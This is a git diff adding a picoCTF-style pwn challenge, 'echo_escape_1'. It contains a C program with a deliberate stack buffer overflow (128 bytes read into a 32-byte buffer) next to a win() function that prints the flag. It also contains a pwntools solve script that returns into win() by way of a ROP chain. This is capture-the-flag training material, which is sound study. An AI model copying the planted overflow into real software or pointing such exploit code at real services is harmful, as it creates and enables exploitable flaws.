diff --git a/pwn/echo_escape_1/flag.txt b/pwn/echo_escape_1/flag.txt
new file mode 100644
index 0000000..7f34d3c
--- /dev/null
+++ b/pwn/echo_escape_1/flag.txt
@@ -0,0 +1 @@
+picoCTF{dummy}
diff --git a/pwn/echo_escape_1/solve.py b/pwn/echo_escape_1/solve.py
new file mode 100755
index 0000000..0cf8314
--- /dev/null
+++ b/pwn/echo_escape_1/solve.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
+
+from pwn import *
+
+exe = ELF("./vuln")
+
+context.binary = exe
+
+ADDR, PORT, *_ = "mysterious-sea.picoctf.net 50726".split()
+
+def conn():
+    if args.REMOTE:
+        r = remote(ADDR, PORT)
+    else:
+        r = process([exe.path])
+
+    return r
+
+def main():
+    r = conn()
+    r.recvuntil(b'Please enter your name: ').decode()
+
+    offset = 0x28
+    rop = ROP(exe)
+    rop.raw(rop.generatePadding(0, offset))
+    rop.win()
+    r.sendline(rop.chain())
+    print(r.recvline_contains(b'picoCTF').decode())
+    r.close()
+
+if __name__ == "__main__":
+    main()
diff --git a/pwn/echo_escape_1/vuln b/pwn/echo_escape_1/vuln
new file mode 100755
index 0000000..f648bdc
Binary files /dev/null and b/pwn/echo_escape_1/vuln differ
diff --git a/pwn/echo_escape_1/vuln.c b/pwn/echo_escape_1/vuln.c
new file mode 100644
index 0000000..e5766ba
--- /dev/null
+++ b/pwn/echo_escape_1/vuln.c
@@ -0,0 +1,34 @@
+
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+
+void win() {
+    FILE *fp = fopen("flag.txt", "rb");
+    if (!fp) {
+        perror("[!] Failed to open flag.txt");
+        return;
+    }
+
+    char buffer[128];
+    size_t n = fread(buffer, 1, sizeof(buffer), fp);
+    fwrite(buffer, 1, n, stdout);
+    fflush(stdout);
+    printf("\n");
+    fclose(fp);
+}
+
+int main() {
+    char buf[32]; 
+
+    printf("Welcome to the secure echo service!\n");
+    printf("Please enter your name: ");
+    fflush(stdout);
+
+    read(0, buf, 128);
+
+    printf("Hello, %s\n", buf);
+    printf("Thank you for using our service.\n");
+
+    return 0;
+}